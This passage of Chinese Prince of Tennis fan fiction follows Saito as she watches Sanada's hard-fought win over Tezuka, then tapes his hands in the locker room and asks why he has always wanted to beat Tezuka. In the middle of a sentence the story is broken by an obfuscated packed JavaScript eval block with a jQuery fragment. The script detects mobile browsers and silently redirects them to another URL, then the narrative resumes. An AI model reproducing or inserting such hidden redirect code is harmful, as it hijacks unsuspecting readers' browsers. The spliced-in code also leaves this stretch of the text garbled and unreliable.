观众席的喧嚣如同海潮,在踏入观众席的一刹那便迎面扑来。
这是一个巨大的、环绕式的网球场,将下方那片荧光绿的赛场紧紧包裹。开放式露天的设计,刺目的白光干扰视线看不清观众们的表情,但无疑都对比赛充满期待。
斋藤攥紧拳头,绑着医用胶带的指尖冰凉,掌心却沁出了一层薄汗。
即便是要顶着酷暑的烈日,斋藤还是选择离赛场较近的位置。她在自己的座位上坐下,座椅也染上了太阳的温度,体温相近的感受意外地稳住她心中的波澜。她深深吸了一口气,试图平复狂跳的心脏,目光最终还是定格在了下方那个空无一人的赛场上。
不久她就能在那里再次看见他在球场上英勇不懈的身影
她拿出手机,摩擦着挂在手机上真田赠送的海人挂件,纠结着要不要跟真田发信息说一声自己已经到赛场了。
“斋藤小姐。”
听见身后传来熟悉的声音,斋藤立刻起身和对方打招呼。
“你好,迹部先生!”
“你是来看比赛的吗?”
“是。”
“青学和立海大你支持哪一边?”
还未等斋藤开口,迹部继续说。
“说起来前一段我才去立海大,和真田打了一场,那家伙的球技还是一如往常的不优雅啊。”
“原来迹部先生和真田君——”
听到这个消息的斋藤激动地将身体凑向迹部,又意识到自己似乎无意中向迹部透露与真田认识的信息,立刻捂着嘴巴。
迹部原本眼神复杂地凝望着绿色的橡胶赛场的蓝色眼睛再次看着斋藤,嘴角略微翘起,似乎嘲笑着平时冷静的斋藤居然也会这样失态,但他没有追问斋藤和真田到底是怎么认识的。
“好好享受比赛吧,那家伙今天的对手很厉害,一定是一场精彩的对局。”
“好的……谢谢你,迹部先生。”
斋藤说着,看着迹部潇洒离去的背影。
第一场就是真田的比赛。
斋藤蜷起身体,抵在唇边握成拳头的手不停地颤抖。她感觉到了紧张,这是在她剑道赛场上都不会感受到情绪。
斋藤从真田背脊的笔直中读到强烈的对抗意志。球网对面,蓝白队服衬托下的手冢国光沉着如常。
真田的攻势一如其人——猛烈、决绝,像暴风直撞,像烈焰侵袭撼动那座名叫手冢的极地冰锋;而那座冰峰稳若磐石、难以撼动。
在一次次孤注一掷的进攻后,冰面终于出现裂痕,真田也为此透支到近乎失衡的边缘。
最后关头,二人同样筋疲力尽,只凭意志与呼吸支撑比赛的余波。
从此刻开始,这场比赛不靠两人去技术与体力的拼搏,已经演化成一场纯粹的意志力消磨。
真田的膝盖顶着巨大的压力,维持着一定的曲度痛苦地迈步。
手冢这边也丧失开场时的沉着冷静,用信念与坚持燃烧起自己,作为旁观者都能看出他在勉强自己抬起手臂。
最后他们双双倒地,拼命的挣扎起身。
斋藤引以为豪的坚持,在这场比试面前不足挂齿。
她已经分不清这是对网球的热爱还是对胜利的执念。
但是她祈祷着,真田可以赢下这场比赛。
比赛结束后,斋藤走到后台,来到休息室。她想看看刚才在球场彻底燃烧殆尽的真田现在的状况。
不过后台的休息室应该是“闲人免进”的。
斋藤一项守矩,她只能在赛场入口不断焦急地原地打转,直到有人叫了她的名字。
是幸村。
“你好,幸村。”
这是幸村出院后,斋藤第一次见到幸村,于是询问起他的身体状况。
“你的身体……?”
“恢复得不错,已经可以打比赛了。”
“那你今天也要上场比赛?”
“最后一场单打由我出战——不过你在这里是为了找真田的?”
幸村投以微笑,主动转移话题
斋藤双手紧握放在胸口,轻轻点头。
“我有些担心他。”
“跟我走。”
与幸村从容的步伐相比,斋藤前进的每一步都踌躇不安,像是在幸村肩上飞扬舞动的运动外套的下摆之下寻求庇护。
走到赛场和休息室分叉的拐角处,幸村让斋藤稍微等一下,他一人走进休息室,过了一会,其他人跟着幸村走出来走向赛场,但是其中没有真田。
斋藤在心中感谢着幸村,走到休息室前轻敲门。
“门没锁,进来吧。”
门另一侧真田的语气相当轻松随意,此刻的他应该不知道敲门的是斋藤,以为是折返回来的队友。
“是我,真田君。”
斋藤几乎要把耳朵贴在了门上,她不想错过门那侧的人一点反应。
可门的那头没有任何一丝声响。
正当斋藤觉得真田是不想让自己进去而准备离开时,她听见真田说“请进”。
斋藤拧开门把,慢慢地推开门。
休息室温度略低于室外,换气扇低沉地转着。白色灯光冷而刺,照得一切发白,也把这间本就逼仄的房间压得更窄;两人之间的空气随之沉下去。
真田换上长款运动服,低头坐在休息室中央的长凳上。双肘支在膝上,十指相扣用力。宽阔结实的背部把衣料绷起,肩胛饱满。即便这般略显颓唐的姿势,他的气势仍不见一丝松懈。
“你来这干什么?”
没有客套开场白和问候,真田的厉声质问里听不见对斋藤熟悉和亲近。
“恭喜你打赢了比赛!”斋藤收起担忧,装作和平时一样地精神饱满地跟真田道贺。
“这种事没必要特地过来和我说!”
真田没有领情,他身体依旧紧绷,语气急躁,或许是斋藤的不守规矩随意闯入,点燃了真田的风纪委员魂。
“……我担心你。”斋藤干脆抛下一切掩饰,将内心的诉求告诉了真田。
“不用担心我,我休息一会就可以了。”
“你在球场上的那副样子,我没办法置之不理。”
谁知这句关心让真田更加烦躁了。
“——你再怎么担心也帮不了我什么。”
斋藤这才明白,真田是不想让她担心他,从而拼命地别扭地否定着斋藤关心的作用。
“手。”
斋藤想起比赛最后,真田在球场上,用手抓挠着地面起身的场景,想着他的手上会不会有擦伤。
“我可以像以前一样,帮你包手。”
“可以吗?”
听到了斋藤近乎恳求的询问,真田先是抬头,用在藏在帽檐阴影之下的眼睛看着装着不去担心而挤出苦涩笑容的斋藤,然后像是投降般紧扣地双手松开,伸向斋藤。
“快点,我等会还要去看其他人的比赛。”真田催促着。
斋藤坐在真田的身旁,从包里拿出医用胶布,叮嘱着“尽量不要动”。
真田的手已经彻底清洗干净,没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487301|202083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
灰尘也没有汗水浸湿后的粘腻感,指尖只是表皮细小的破损,连血痕都没有,没有到需要特地包扎的程度。但真田允许斋藤这么做,斋藤也就继续下去。
真田的手很大,指甲修理得非常整齐,而手掌上的薄茧证明他对网球的热爱,坚持和努力。
和斋藤的一样。
之前冬天,山田将挤在手里多余的护手霜抹在斋藤的手上,感叹着斋藤手的粗糙度和打棒球的弟弟有的一拼。
“看你在剑道上这么拼命,我好像能理解我弟弟也多喜欢棒球了。”
是啊,因为这只手她轻松地和迹部产生了共鸣。
如果现在自己握住真田的手,他们就能更理解对方的努力和坚持。
斋藤压抑着想要亲手确认的冲动,与真田大方果断相比,斋藤的手反而不受控制地发软抖动。
“你在紧张什么?”感觉到胶布的颤动,真田问斋藤。
“你的手太大了,我要思考一下怎么贴比较好。”
真田撇过头去,没在说什么,似乎是接受了斋藤的理由。
“……我记得你以前很擅长贴这个,就没帮其他人贴过?”
“学姐学妹的手可不会长这么大。”
真田低头盯着空着的右手,不断地张开握拳,似乎认真地思考斋藤说的话。
忽然斋藤注意到真田左手的虎口处的疤痕不深,但形状狭长,像是某种锋利的器物划过。
真田提过自己在练拔刀术和居合,对真刀没有任何憧憬的斋藤不屑一顾。
剑道如果达不到一定的水平,真田老师是绝对不允许真田去使用真刀去练习居合。
真田其实很厉害?斋藤这样思考着,抓着真田的左手,盯着疤痕出了神。
真田轻咳了一声,将斋藤从自己的思绪中拉回来。
“……今天你的对手,感觉这名字有些耳熟。”
为了防止再次走神,斋藤主动和真田攀谈。
“手冢吗?也许是你从祖父大人口中听到的……”
“难道那个人也会剑道吗?!”
“不是,是祖父大人将棋上的宿敌。”
“……这样啊。”
斋藤抬起头又低了下去,继续专心地包扎,但是刚刚因为兴奋挺直的背脊又放松了。
“你也不需要失望成这样吧。”
“不过,我记得是从真田君你的口中听过这个名字……我想起来了,就是JR大赛之后!”
“你还记得?”真田惊讶地说。
“那段时间你一直叫着‘手冢’,想不记得都难。”
那对斋藤来说算不上是好回忆,只要真田叫出“手冢”的名字,就会瞬间充满干劲,无视斋藤的存在去做自己的事情。
“其实我挺好奇的,为什么你那么在意手冢?”
她说出这个疑问后,就感觉到真田还算放松的手突然僵住了。她兀自判断真田是不想回答这个问题,于是又补充:“如果不想说也没关系。”
沉默了片刻,真田说:“他是我一直想要战胜的人。”
一直想要战胜……原来真田君也有这样的想法。
斋藤望着真田看向远处,略显惆怅的脸。
斋藤年幼时抱着的小孩子的极不成熟的想要揍人的心理和真田在少年时期想要战胜手冢,这两件事相去甚远。但她感觉这两件事是相似的,有共同之处。
因为是相似之处,所以她想要去了解。
“为什么?”斋藤问。“为什么要一直想要战胜他?”